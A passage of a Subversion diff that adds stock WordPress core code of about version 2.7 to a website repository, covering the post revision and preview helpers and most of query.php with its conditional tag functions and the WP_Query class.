+function wp_get_post_revisions( $post_id = 0, $args = null ) {
+	if ( !constant('WP_POST_REVISIONS') )
+		return array();
+	if ( ( !$post = get_post( $post_id ) ) || empty( $post->ID ) )
+		return array();
+
+	$defaults = array( 'order' => 'DESC', 'orderby' => 'date' );
+	$args = wp_parse_args( $args, $defaults );
+	$args = array_merge( $args, array( 'post_parent' => $post->ID, 'post_type' => 'revision', 'post_status' => 'inherit' ) );
+
+	if ( !$revisions = get_children( $args ) )
+		return array();
+	return $revisions;
+}
+
+function _set_preview($post) {
+
+	if ( ! is_object($post) )
+		return $post;
+
+	$preview = wp_get_post_autosave($post->ID);
+
+	if ( ! is_object($preview) )
+		return $post;
+
+	$preview = sanitize_post($preview);
+
+	$post->post_content = $preview->post_content;
+	$post->post_title = $preview->post_title;
+	$post->post_excerpt = $preview->post_excerpt;
+
+	return $post;
+}
+
+function _show_post_preview() {
+
+	if ( isset($_GET['preview_id']) && isset($_GET['preview_nonce']) ) {
+		$id = (int) $_GET['preview_id'];
+
+		if ( false == wp_verify_nonce( $_GET['preview_nonce'], 'post_preview_' . $id ) )
+			wp_die( __('You do not have permission to preview drafts.') );
+
+		add_filter('the_preview', '_set_preview');
+	}
+}
Index: /trunk/www.guidonia.net/wp/wp-includes/query.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/query.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/query.php	(revision 44)
@@ -0,0 +1,2701 @@
+<?php
+/**
+ * WordPress Query API
+ *
+ * The query API attempts to get which part of WordPress to the user is on. It
+ * also provides functionality to getting URL query information.
+ *
+ * @link http://codex.wordpress.org/The_Loop More information on The Loop.
+ *
+ * @package WordPress
+ * @subpackage Query
+ */
+
+/**
+ * Retrieve variable in the WP_Query class.
+ *
+ * @see WP_Query::get()
+ * @since 1.5.0
+ * @uses $wp_query
+ *
+ * @param string $var The variable key to retrieve.
+ * @return mixed
+ */
+function get_query_var($var) {
+	global $wp_query;
+
+	return $wp_query->get($var);
+}
+
+/**
+ * Set query variable.
+ *
+ * @see WP_Query::set()
+ * @since 2.2.0
+ * @uses $wp_query
+ *
+ * @param string $var Query variable key.
+ * @param mixed $value
+ * @return null
+ */
+function set_query_var($var, $value) {
+	global $wp_query;
+
+	return $wp_query->set($var, $value);
+}
+
+/**
+ * Setup The Loop with query parameters.
+ *
+ * This will override the current WordPress Loop and shouldn't be used more than
+ * once. This must not be used within the WordPress Loop.
+ *
+ * @since 1.5.0
+ * @uses $wp_query
+ *
+ * @param string $query
+ * @return array List of posts
+ */
+function &query_posts($query) {
+	unset($GLOBALS['wp_query']);
+	$GLOBALS['wp_query'] =& new WP_Query();
+	return $GLOBALS['wp_query']->query($query);
+}
+
+/**
+ * Destroy the previous query and setup a new query.
+ *
+ * This should be used after {@link query_posts()} and before another {@link
+ * query_posts()}. This will remove obscure bugs that occur when the previous
+ * wp_query object is not destroyed properly before another is setup.
+ *
+ * @since 2.3.0
+ * @uses $wp_query
+ */
+function wp_reset_query() {
+	unset($GLOBALS['wp_query']);
+	$GLOBALS['wp_query'] =& $GLOBALS['wp_the_query'];
+	global $wp_query;
+	if ( !empty($wp_query->post) ) {
+		$GLOBALS['post'] = $wp_query->post;
+		setup_postdata($wp_query->post);
+	}
+}
+
+/*
+ * Query type checks.
+ */
+
+/**
+ * Whether the current request is in WordPress admin Panel
+ *
+ * Does not inform on whether the user is an admin! Use capability checks to
+ * tell if the user should be accessing a section or not.
+ *
+ * @since 1.5.1
+ *
+ * @return bool True if inside WordPress administration pages.
+ */
+function is_admin () {
+	if ( defined('WP_ADMIN') )
+		return WP_ADMIN;
+	return false;
+}
+
+/**
+ * Is query requesting an archive page.
+ *
+ * @since 1.5.0
+ * @uses $wp_query
+ *
+ * @return bool True if page is archive.
+ */
+function is_archive () {
+	global $wp_query;
+
+	return $wp_query->is_archive;
+}
+
+/**
+ * Is query requesting an attachment page.
+ *
+ * @since 2.0.0
+ * @uses $wp_query
+ *
+ * @return bool True if page is attachment.
+ */
+function is_attachment () {
+	global $wp_query;
+
+	return $wp_query->is_attachment;
+}
+
+/**
+ * Is query requesting an author page.
+ *
+ * If the $author parameter is specified then the check will be expanded to
+ * include whether the queried author matches the one given in the parameter.
+ * You can match against integers and against strings.
+ *
+ * If matching against an integer, the ID should be used of the author for the
+ * test. If the $author is an ID and matches the author page user ID, then
+ * 'true' will be returned.
+ *
+ * If matching against strings, then the test will be matched against both the
+ * nickname and user nicename and will return true on success.
+ *
+ * @since 1.5.0
+ * @uses $wp_query
+ *
+ * @param string|int $author Optional. Is current page this author.
+ * @return bool True if page is author or $author (if set).
+ */
+function is_author ($author = '') {
+	global $wp_query;
+
+	if ( !$wp_query->is_author )
+		return false;
+
+	if ( empty($author) )
+		return true;
+
+	$author_obj = $wp_query->get_queried_object();
+
+	$author = (array) $author;
+
+	if ( in_array( $author_obj->ID, $author ) )
+		return true;
+	elseif ( in_array( $author_obj->nickname, $author ) )
+		return true;
+	elseif ( in_array( $author_obj->user_nicename, $author ) )
+		return true;
+
+	return false;
+}
+
+/**
+ * Whether current page query contains a category name or given category name.
+ *
+ * The category list can contain category IDs, names, or category slugs. If any
+ * of them are part of the query, then it will return true.
+ *
+ * @since 1.5.0
+ * @uses $wp_query
+ *
+ * @param string|array $category Optional.
+ * @return bool
+ */
+function is_category ($category = '') {
+	global $wp_query;
+
+	if ( !$wp_query->is_category )
+		return false;
+
+	if ( empty($category) )
+		return true;
+
+	$cat_obj = $wp_query->get_queried_object();
+
+	$category = (array) $category;
+
+	if ( in_array( $cat_obj->term_id, $category ) )
+		return true;
+	elseif ( in_array( $cat_obj->name, $category ) )
+		return true;
+	elseif ( in_array( $cat_obj->slug, $category ) )
+		return true;
+
+	return false;
+}
+
+/**
+ * Whether the current page query has the given tag slug or contains tag.
+ *
+ * @since 2.3.0
+ * @uses $wp_query
+ *
+ * @param string|array $slug Optional. Single tag or list of tags to check for.
+ * @return bool
+ */
+function is_tag( $slug = '' ) {
+	global $wp_query;
+
+	if ( !$wp_query->is_tag )
+		return false;
+
+	if ( empty( $slug ) )
+		return true;
+
+	$tag_obj = $wp_query->get_queried_object();
+
+	$slug = (array) $slug;
+
+	if ( in_array( $tag_obj->slug, $slug ) )
+		return true;
+
+	return false;
+}
+
+/**
+ * Whether the current page query has the given taxonomy slug or contains taxonomy.
+ *
+ * @since 2.5.0
+ * @uses $wp_query
+ *
+ * @param string|array $slug Optional. Slug or slugs to check in current query.
+ * @return bool
+ */
+function is_tax( $slug = '' ) {
+	global $wp_query;
+
+	if ( !$wp_query->is_tax )
+		return false;
+
+	if ( empty($slug) )
+		return true;
+
+	$term = $wp_query->get_queried_object();
+
+	$slug = (array) $slug;
+
+	if ( in_array( $term->slug, $slug ) )
+		return true;
+
+	return false;
+}
+
+/**
+ * Whether the current URL is within the comments popup window.
+ *
+ * @since 1.5.0
+ * @uses $wp_query
+ *
+ * @return bool
+ */
+function is_comments_popup () {
+	global $wp_query;
+
+	return $wp_query->is_comments_popup;
+}
+
+/**
+ * Whether current URL is based on a date.
+ *
+ * @since 1.5.0
+ * @uses $wp_query
+ *
+ * @return bool
+ */
+function is_date () {
+	global $wp_query;
+
+	return $wp_query->is_date;
+}
+
+/**
+ * Whether current blog URL contains a day.
+ *
+ * @since 1.5.0
+ * @uses $wp_query
+ *
+ * @return bool
+ */
+function is_day () {
+	global $wp_query;
+
+	return $wp_query->is_day;
+}
+
+/**
+ * Whether current page query is feed URL.
+ *
+ * @since 1.5.0
+ * @uses $wp_query
+ *
+ * @return bool
+ */
+function is_feed () {
+	global $wp_query;
+
+	return $wp_query->is_feed;
+}
+
+/**
+ * Whether current page query is the front of the site.
+ *
+ * @since 2.5.0
+ * @uses is_home()
+ * @uses get_option()
+ *
+ * @return bool True, if front of site.
+ */
+function is_front_page () {
+	// most likely case
+	if ( 'posts' == get_option('show_on_front') && is_home() )
+		return true;
+	elseif ( 'page' == get_option('show_on_front') && get_option('page_on_front') && is_page(get_option('page_on_front')) )
+		return true;
+	else
+		return false;
+}
+
+/**
+ * Whether current page view is the blog homepage.
+ *
+ * @since 1.5.0
+ * @uses $wp_query
+ *
+ * @return bool True if blog view homepage.
+ */
+function is_home () {
+	global $wp_query;
+
+	return $wp_query->is_home;
+}
+
+/**
+ * Whether current page query contains a month.
+ *
+ * @since 1.5.0
+ * @uses $wp_query
+ *
+ * @return bool
+ */
+function is_month () {
+	global $wp_query;
+
+	return $wp_query->is_month;
+}
+
+/**
+ * Whether query is page or contains given page(s).
+ *
+ * Calls the function without any parameters will only test whether the current
+ * query is of the page type. Either a list or a single item can be tested
+ * against for whether the query is a page and also is the value or one of the
+ * values in the page parameter.
+ *
+ * The parameter can contain the page ID, page title, or page name. The
+ * parameter can also be an array of those three values.
+ *
+ * @since 1.5.0
+ * @uses $wp_query
+ *
+ * @param mixed $page Either page or list of pages to test against.
+ * @return bool
+ */
+function is_page ($page = '') {
+	global $wp_query;
+
+	if ( !$wp_query->is_page )
+		return false;
+
+	if ( empty($page) )
+		return true;
+
+	$page_obj = $wp_query->get_queried_object();
+
+	$page = (array) $page;
+
+	if ( in_array( $page_obj->ID, $page ) )
+		return true;
+	elseif ( in_array( $page_obj->post_title, $page ) )
+		return true;
+	else if ( in_array( $page_obj->post_name, $page ) )
+		return true;
+
+	return false;
+}
+
+/**
+ * Whether query contains multiple pages for the results.
+ *
+ * @since 1.5.0
+ * @uses $wp_query
+ *
+ * @return bool
+ */
+function is_paged () {
+	global $wp_query;
+
+	return $wp_query->is_paged;
+}
+
+/**
+ * Whether the current page was created by a plugin.
+ *
+ * The plugin can set this by using the global $plugin_page and setting it to
+ * true.
+ *
+ * @since 1.5.0
+ * @global bool $plugin_page Used by plugins to tell the query that current is a plugin page.
+ *
+ * @return bool
+ */
+function is_plugin_page() {
+	global $plugin_page;
+
+	if ( isset($plugin_page) )
+		return true;
+
+	return false;
+}
+
+/**
+ * Whether the current query is preview of post or page.
+ *
+ * @since 2.0.0
+ * @uses $wp_query
+ *
+ * @return bool
+ */
+function is_preview() {
+	global $wp_query;
+
+	return $wp_query->is_preview;
+}
+
+/**
+ * Whether the current query post is robots.
+ *
+ * @since 2.1.0
+ * @uses $wp_query
+ *
+ * @return bool
+ */
+function is_robots() {
+	global $wp_query;
+
+	return $wp_query->is_robots;
+}
+
+/**
+ * Whether current query is the result of a user search.
+ *
+ * @since 1.5.0
+ * @uses $wp_query
+ *
+ * @return bool
+ */
+function is_search () {
+	global $wp_query;
+
+	return $wp_query->is_search;
+}
+
+/**
+ * Whether the current page query is single page.
+ *
+ * The parameter can contain the post ID, post title, or post name. The
+ * parameter can also be an array of those three values.
+ *
+ * This applies to other post types, attachments, pages, posts. Just means that
+ * the current query has only a single object.
+ *
+ * @since 1.5.0
+ * @uses $wp_query
+ *
+ * @param mixed $post Either post or list of posts to test against.
+ * @return bool
+ */
+function is_single ($post = '') {
+	global $wp_query;
+
+	if ( !$wp_query->is_single )
+		return false;
+
+	if ( empty( $post) )
+		return true;
+
+	$post_obj = $wp_query->get_queried_object();
+
+	$post = (array) $post;
+
+	if ( in_array( $post_obj->ID, $post ) )
+		return true;
+	elseif ( in_array( $post_obj->post_title, $post ) )
+		return true;
+	elseif ( in_array( $post_obj->post_name, $post ) )
+		return true;
+
+	return false;
+}
+
+/**
+ * Whether is single post, is a page, or is an attachment.
+ *
+ * @since 1.5.0
+ * @uses $wp_query
+ *
+ * @return bool
+ */
+function is_singular() {
+	global $wp_query;
+
+	return $wp_query->is_singular;
+}
+
+/**
+ * Whether the query contains a time.
+ *
+ * @since 1.5.0
+ * @uses $wp_query
+ *
+ * @return bool
+ */
+function is_time () {
+	global $wp_query;
+
+	return $wp_query->is_time;
+}
+
+/**
+ * Whether the query is a trackback.
+ *
+ * @since 1.5.0
+ * @uses $wp_query
+ *
+ * @return bool
+ */
+function is_trackback () {
+	global $wp_query;
+
+	return $wp_query->is_trackback;
+}
+
+/**
+ * Whether the query contains a year.
+ *
+ * @since 1.5.0
+ * @uses $wp_query
+ *
+ * @return bool
+ */
+function is_year () {
+	global $wp_query;
+
+	return $wp_query->is_year;
+}
+
+/**
+ * Whether current page query is a 404 and no results for WordPress query.
+ *
+ * @since 1.5.0
+ * @uses $wp_query
+ *
+ * @return bool True, if nothing is found matching WordPress Query.
+ */
+function is_404 () {
+	global $wp_query;
+
+	return $wp_query->is_404;
+}
+
+/*
+ * The Loop.  Post loop control.
+ */
+
+/**
+ * Whether current WordPress query has results to loop over.
+ *
+ * @see WP_Query::have_posts()
+ * @since 1.5.0
+ * @uses $wp_query
+ *
+ * @return bool
+ */
+function have_posts() {
+	global $wp_query;
+
+	return $wp_query->have_posts();
+}
+
+/**
+ * Whether the caller is in the Loop.
+ *
+ * @since 2.0.0
+ * @uses $wp_query
+ *
+ * @return bool True if caller is within loop, false if loop hasn't started or ended.
+ */
+function in_the_loop() {
+	global $wp_query;
+
+	return $wp_query->in_the_loop;
+}
+
+/**
+ * Rewind the loop posts.
+ *
+ * @see WP_Query::rewind_posts()
+ * @since 1.5.0
+ * @uses $wp_query
+ *
+ * @return null
+ */
+function rewind_posts() {
+	global $wp_query;
+
+	return $wp_query->rewind_posts();
+}
+
+/**
+ * Iterate the post index in the loop.
+ *
+ * @see WP_Query::the_post()
+ * @since 1.5.0
+ * @uses $wp_query
+ */
+function the_post() {
+	global $wp_query;
+
+	$wp_query->the_post();
+}
+
+/*
+ * Comments loop.
+ */
+
+/**
+ * Whether there are comments to loop over.
+ *
+ * @see WP_Query::have_comments()
+ * @since 2.2.0
+ * @uses $wp_query
+ *
+ * @return bool
+ */
+function have_comments() {
+	global $wp_query;
+	return $wp_query->have_comments();
+}
+
+/**
+ * Iterate comment index in the comment loop.
+ *
+ * @see WP_Query::the_comment()
+ * @since 2.2.0
+ * @uses $wp_query
+ *
+ * @return object
+ */
+function the_comment() {
+	global $wp_query;
+	return $wp_query->the_comment();
+}
+
+/*
+ * WP_Query
+ */
+
+/**
+ * The WordPress Query class.
+ *
+ * @link http://codex.wordpress.org/Function_Reference/WP_Query Codex page.
+ *
+ * @since 1.5.0
+ */
+class WP_Query {
+
+	/**
+	 * Query string
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var string
+	 */
+	var $query;
+
+	/**
+	 * Query search variables set by the user.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var array
+	 */
+	var $query_vars = array();
+
+	/**
+	 * Holds the data for a single object that is queried.
+	 *
+	 * Holds the contents of a post, page, category, attachment.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var object|array
+	 */
+	var $queried_object;
+
+	/**
+	 * The ID of the queried object.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var int
+	 */
+	var $queried_object_id;
+
+	/**
+	 * Get post database query.
+	 *
+	 * @since 2.0.1
+	 * @access public
+	 * @var string
+	 */
+	var $request;
+
+	/**
+	 * List of posts.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var array
+	 */
+	var $posts;
+
+	/**
+	 * The amount of posts for the current query.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var int
+	 */
+	var $post_count = 0;
+
+	/**
+	 * Index of the current item in the loop.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var int
+	 */
+	var $current_post = -1;
+
+	/**
+	 * Whether the loop has started and the caller is in the loop.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 * @var bool
+	 */
+	var $in_the_loop = false;
+
+	/**
+	 * The current post ID.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var int
+	 */
+	var $post;
+
+	/**
+	 * The list of comments for current post.
+	 *
+	 * @since 2.2.0
+	 * @access public
+	 * @var array
+	 */
+	var $comments;
+
+	/**
+	 * The amount of comments for the posts.
+	 *
+	 * @since 2.2.0
+	 * @access public
+	 * @var int
+	 */
+	var $comment_count = 0;
+
+	/**
+	 * The index of the comment in the comment loop.
+	 *
+	 * @since 2.2.0
+	 * @access public
+	 * @var int
+	 */
+	var $current_comment = -1;
+
+	/**
+	 * Current comment ID.
+	 *
+	 * @since 2.2.0
+	 * @access public
+	 * @var int
+	 */
+	var $comment;
+
+	/**
+	 * Amount of posts if limit clause was not used.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 * @var int
+	 */
+	var $found_posts = 0;
+
+	/**
+	 * The amount of pages.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 * @var int
+	 */
+	var $max_num_pages = 0;
+
+	/**
+	 * The amount of comment pages.
+	 *
+	 * @since 2.7.0
+	 * @access public
+	 * @var int
+	 */
+	var $max_num_comment_pages = 0;
+
+	/**
+	 * Set if query is single post.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var bool
+	 */
+	var $is_single = false;
+
+	/**
+	 * Set if query is preview of blog.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 * @var bool
+	 */
+	var $is_preview = false;
+
+	/**
+	 * Set if query returns a page.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var bool
+	 */
+	var $is_page = false;
+
+	/**
+	 * Set if query is an archive list.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var bool
+	 */
+	var $is_archive = false;
+
+	/**
+	 * Set if query is part of a date.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var bool
+	 */
+	var $is_date = false;
+
+	/**
+	 * Set if query contains a year.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var bool
+	 */
+	var $is_year = false;
+
+	/**
+	 * Set if query contains a month.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var bool
+	 */
+	var $is_month = false;
+
+	/**
+	 * Set if query contains a day.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var bool
+	 */
+	var $is_day = false;
+
+	/**
+	 * Set if query contains time.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var bool
+	 */
+	var $is_time = false;
+
+	/**
+	 * Set if query contains an author.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var bool
+	 */
+	var $is_author = false;
+
+	/**
+	 * Set if query contains category.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var bool
+	 */
+	var $is_category = false;
+
+	/**
+	 * Set if query contains tag.
+	 *
+	 * @since 2.3.0
+	 * @access public
+	 * @var bool
+	 */
+	var $is_tag = false;
+
+	/**
+	 * Set if query contains taxonomy.
+	 *
+	 * @since 2.5.0
+	 * @access public
+	 * @var bool
+	 */
+	var $is_tax = false;
+
+	/**
+	 * Set if query was part of a search result.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var bool
+	 */
+	var $is_search = false;
+
+	/**
+	 * Set if query is feed display.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var bool
+	 */
+	var $is_feed = false;
+
+	/**
+	 * Set if query is comment feed display.
+	 *
+	 * @since 2.2.0
+	 * @access public
+	 * @var bool
+	 */
+	var $is_comment_feed = false;
+
+	/**
+	 * Set if query is trackback.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var bool
+	 */
+	var $is_trackback = false;
+
+	/**
+	 * Set if query is blog homepage.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var bool
+	 */
+	var $is_home = false;
+
+	/**
+	 * Set if query couldn't found anything.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var bool
+	 */
+	var $is_404 = false;
+
+	/**
+	 * Set if query is within comments popup window.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var bool
+	 */
+	var $is_comments_popup = false;
+
+	/**
+	 * Set if query is part of administration page.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var bool
+	 */
+	var $is_admin = false;
+
+	/**
+	 * Set if query is an attachment.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 * @var bool
+	 */
+	var $is_attachment = false;
+
+	/**
+	 * Set if is single, is a page, or is an attachment.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 * @var bool
+	 */
+	var $is_singular = false;
+
+	/**
+	 * Set if query is for robots.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 * @var bool
+	 */
+	var $is_robots = false;
+
+	/**
+	 * Set if query contains posts.
+	 *
+	 * Basically, the homepage if the option isn't set for the static homepage.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 * @var bool
+	 */
+	var $is_posts_page = false;
+
+	/**
+	 * Resets query flags to false.
+	 *
+	 * The query flags are what page info WordPress was able to figure out.
+	 *
+	 * @since 2.0.0
+	 * @access private
+	 */
+	function init_query_flags() {
+		$this->is_single = false;
+		$this->is_page = false;
+		$this->is_archive = false;
+		$this->is_date = false;
+		$this->is_year = false;
+		$this->is_month = false;
+		$this->is_day = false;
+		$this->is_time = false;
+		$this->is_author = false;
+		$this->is_category = false;
+		$this->is_tag = false;
+		$this->is_tax = false;
+		$this->is_search = false;
+		$this->is_feed = false;
+		$this->is_comment_feed = false;
+		$this->is_trackback = false;
+		$this->is_home = false;
+		$this->is_404 = false;
+		$this->is_paged = false;
+		$this->is_admin = false;
+		$this->is_attachment = false;
+		$this->is_singular = false;
+		$this->is_robots = false;
+		$this->is_posts_page = false;
+	}
+
+	/**
+	 * Initiates object properties and sets default values.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 */
+	function init () {
+		unset($this->posts);
+		unset($this->query);
+		$this->query_vars = array();
+		unset($this->queried_object);
+		unset($this->queried_object_id);
+		$this->post_count = 0;
+		$this->current_post = -1;
+		$this->in_the_loop = false;
+
+		$this->init_query_flags();
+	}
+
+	/**
+	 * Reparse the query vars.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 */
+	function parse_query_vars() {
+		$this->parse_query('');
+	}
+
+	/**
+	 * Fills in the query variables, which do not exist within the parameter.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 *
+	 * @param array $array Defined query variables.
+	 * @return array Complete query variables with undefined ones filled in empty.
+	 */
+	function fill_query_vars($array) {
+		$keys = array(
+			'error'
+			, 'm'
+			, 'p'
+			, 'post_parent'
+			, 'subpost'
+			, 'subpost_id'
+			, 'attachment'
+			, 'attachment_id'
+			, 'name'
+			, 'hour'
+			, 'static'
+			, 'pagename'
+			, 'page_id'
+			, 'second'
+			, 'minute'
+			, 'hour'
+			, 'day'
+			, 'monthnum'
+			, 'year'
+			, 'w'
+			, 'category_name'
+			, 'tag'
+			, 'cat'
+			, 'tag_id'
+			, 'author_name'
+			, 'feed'
+			, 'tb'
+			, 'paged'
+			, 'comments_popup'
+			, 'meta_key'
+			, 'meta_value'
+			, 'preview'
+		);
+
+		foreach ($keys as $key) {
+			if ( !isset($array[$key]))
+				$array[$key] = '';
+		}
+
+		$array_keys = array('category__in', 'category__not_in', 'category__and', 'post__in', 'post__not_in',
+			'tag__in', 'tag__not_in', 'tag__and', 'tag_slug__in', 'tag_slug__and');
+
+		foreach ( $array_keys as $key ) {
+			if ( !isset($array[$key]))
+				$array[$key] = array();
+		}
+		return $array;
+	}
+
+	/**
+	 * Parse a query string and set query type booleans.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @param string|array $query
+	 */
+	function parse_query ($query) {
+		if ( !empty($query) || !isset($this->query) ) {
+			$this->init();
+			if ( is_array($query) )
+				$this->query_vars = $query;
+			else
+				parse_str($query, $this->query_vars);
+			$this->query = $query;
+		}
+
+		$this->query_vars = $this->fill_query_vars($this->query_vars);
+		$qv = &$this->query_vars;
+
+		if ( ! empty($qv['robots']) )
+			$this->is_robots = true;
+
+		$qv['p'] =  absint($qv['p']);
+		$qv['page_id'] =  absint($qv['page_id']);
+		$qv['year'] = absint($qv['year']);
+		$qv['monthnum'] = absint($qv['monthnum']);
+		$qv['day'] = absint($qv['day']);
+		$qv['w'] = absint($qv['w']);
+		$qv['m'] = absint($qv['m']);
+		$qv['paged'] = absint($qv['paged']);
+		$qv['cat'] = preg_replace( '|[^0-9,-]|', '', $qv['cat'] ); // comma separated list of positive or negative integers
+		$qv['pagename'] = trim( $qv['pagename'] );
+		$qv['name'] = trim( $qv['name'] );
+		if ( '' !== $qv['hour'] ) $qv['hour'] = absint($qv['hour']);
+		if ( '' !== $qv['minute'] ) $qv['minute'] = absint($qv['minute']);
+		if ( '' !== $qv['second'] ) $qv['second'] = absint($qv['second']);
+
+		// Compat.  Map subpost to attachment.
+		if ( '' != $qv['subpost'] )
+			$qv['attachment'] = $qv['subpost'];
+		if ( '' != $qv['subpost_id'] )
+			$qv['attachment_id'] = $qv['subpost_id'];
+
+		$qv['attachment_id'] = absint($qv['attachment_id']);
+
+		if ( ('' != $qv['attachment']) || !empty($qv['attachment_id']) ) {
+			$this->is_single = true;
+			$this->is_attachment = true;
+		} elseif ( '' != $qv['name'] ) {
+			$this->is_single = true;
+		} elseif ( $qv['p'] ) {
+			$this->is_single = true;
+		} elseif ( ('' !== $qv['hour']) && ('' !== $qv['minute']) &&('' !== $qv['second']) && ('' != $qv['year']) && ('' != $qv['monthnum']) && ('' != $qv['day']) ) {
+			// If year, month, day, hour, minute, and second are set, a single
+			// post is being queried.
+			$this->is_single = true;
+		} elseif ( '' != $qv['static'] || '' != $qv['pagename'] || !empty($qv['page_id']) ) {
+			$this->is_page = true;
+			$this->is_single = false;
+		} elseif ( !empty($qv['s']) ) {
+			$this->is_search = true;
+		} else {
+		// Look for archive queries.  Dates, categories, authors.
+
+			if ( '' !== $qv['second'] ) {
+				$this->is_time = true;
+				$this->is_date = true;
+			}
+
+			if ( '' !== $qv['minute'] ) {
+				$this->is_time = true;
+				$this->is_date = true;
+			}
+
+			if ( '' !== $qv['hour'] ) {
+				$this->is_time = true;
+				$this->is_date = true;
+			}
+
+			if ( $qv['day'] ) {
+				if (! $this->is_date) {
+					$this->is_day = true;
+					$this->is_date = true;
+				}
+			}
+
+			if ( $qv['monthnum'] ) {
+				if (! $this->is_date) {
+					$this->is_month = true;
+					$this->is_date = true;
+				}
+			}
+
+			if ( $qv['year'] ) {
+				if (! $this->is_date) {
+					$this->is_year = true;
+					$this->is_date = true;
+				}
+			}
+
+			if ( $qv['m'] ) {
+				$this->is_date = true;
+				if (strlen($qv['m']) > 9) {
+					$this->is_time = true;
+				} else if (strlen($qv['m']) > 7) {
+					$this->is_day = true;
+				} else if (strlen($qv['m']) > 5) {
+					$this->is_month = true;
+				} else {
+					$this->is_year = true;
+				}
+			}
+
+			if ('' != $qv['w']) {
+				$this->is_date = true;
+			}
+
+			if ( empty($qv['cat']) || ($qv['cat'] == '0') ) {
+				$this->is_category = false;
+			} else {
+				if (strpos($qv['cat'], '-') !== false) {
+					$this->is_category = false;
+				} else {
+					$this->is_category = true;
+				}
+			}
+
+			if ( '' != $qv['category_name'] ) {
+				$this->is_category = true;
+			}
+
+			if ( !is_array($qv['category__in']) || empty($qv['category__in']) ) {
+				$qv['category__in'] = array();
+			} else {
+				$qv['category__in'] = array_map('absint', $qv['category__in']);
+				$this->is_category = true;
+			}
+
+			if ( !is_array($qv['category__not_in']) || empty($qv['category__not_in']) ) {
+				$qv['category__not_in'] = array();
+			} else {
+				$qv['category__not_in'] = array_map('absint', $qv['category__not_in']);
+			}
+
+			if ( !is_array($qv['category__and']) || empty($qv['category__and']) ) {
+				$qv['category__and'] = array();
+			} else {
+				$qv['category__and'] = array_map('absint', $qv['category__and']);
+				$this->is_category = true;
+			}
+
+			if (  '' != $qv['tag'] )
+				$this->is_tag = true;
+
+			$qv['tag_id'] = absint($qv['tag_id']);
+			if (  !empty($qv['tag_id']) )
+				$this->is_tag = true;
+
+			if ( !is_array($qv['tag__in']) || empty($qv['tag__in']) ) {
+				$qv['tag__in'] = array();
+			} else {
+				$qv['tag__in'] = array_map('absint', $qv['tag__in']);
+				$this->is_tag = true;
+			}
+
+			if ( !is_array($qv['tag__not_in']) || empty($qv['tag__not_in']) ) {
+				$qv['tag__not_in'] = array();
+			} else {
+				$qv['tag__not_in'] = array_map('absint', $qv['tag__not_in']);
+			}
+
+			if ( !is_array($qv['tag__and']) || empty($qv['tag__and']) ) {
+				$qv['tag__and'] = array();
+			} else {
+				$qv['tag__and'] = array_map('absint', $qv['tag__and']);
+				$this->is_category = true;
+			}
+
+			if ( !is_array($qv['tag_slug__in']) || empty($qv['tag_slug__in']) ) {
+				$qv['tag_slug__in'] = array();
+			} else {
+				$qv['tag_slug__in'] = array_map('sanitize_title', $qv['tag_slug__in']);
+				$this->is_tag = true;
+			}
+
+			if ( !is_array($qv['tag_slug__and']) || empty($qv['tag_slug__and']) ) {
+				$qv['tag_slug__and'] = array();
+			} else {
+				$qv['tag_slug__and'] = array_map('sanitize_title', $qv['tag_slug__and']);
+				$this->is_tag = true;
+			}
+
+			if ( empty($qv['taxonomy']) || empty($qv['term']) ) {
+				$this->is_tax = false;
+				foreach ( $GLOBALS['wp_taxonomies'] as $taxonomy => $t ) {
+					if ( $t->query_var && isset($qv[$t->query_var]) && '' != $qv[$t->query_var] ) {
+						$qv['taxonomy'] = $taxonomy;
+						$qv['term'] = $qv[$t->query_var];
+						$this->is_tax = true;
+						break;
+					}
+				}
+			} else {
+				$this->is_tax = true;
+			}
+
+			if ( empty($qv['author']) || ($qv['author'] == '0') ) {
+				$this->is_author = false;
+			} else {
+				$this->is_author = true;
+			}
+
+			if ( '' != $qv['author_name'] ) {
+				$this->is_author = true;
+			}
+
+			if ( ($this->is_date || $this->is_author || $this->is_category || $this->is_tag || $this->is_tax) )
+				$this->is_archive = true;
+		}
+
+		if ( '' != $qv['feed'] )
+			$this->is_feed = true;
+
+		if ( '' != $qv['tb'] )
+			$this->is_trackback = true;
+
+		if ( '' != $qv['paged'] )
+			$this->is_paged = true;
+
+		if ( '' != $qv['comments_popup'] )
+			$this->is_comments_popup = true;
+
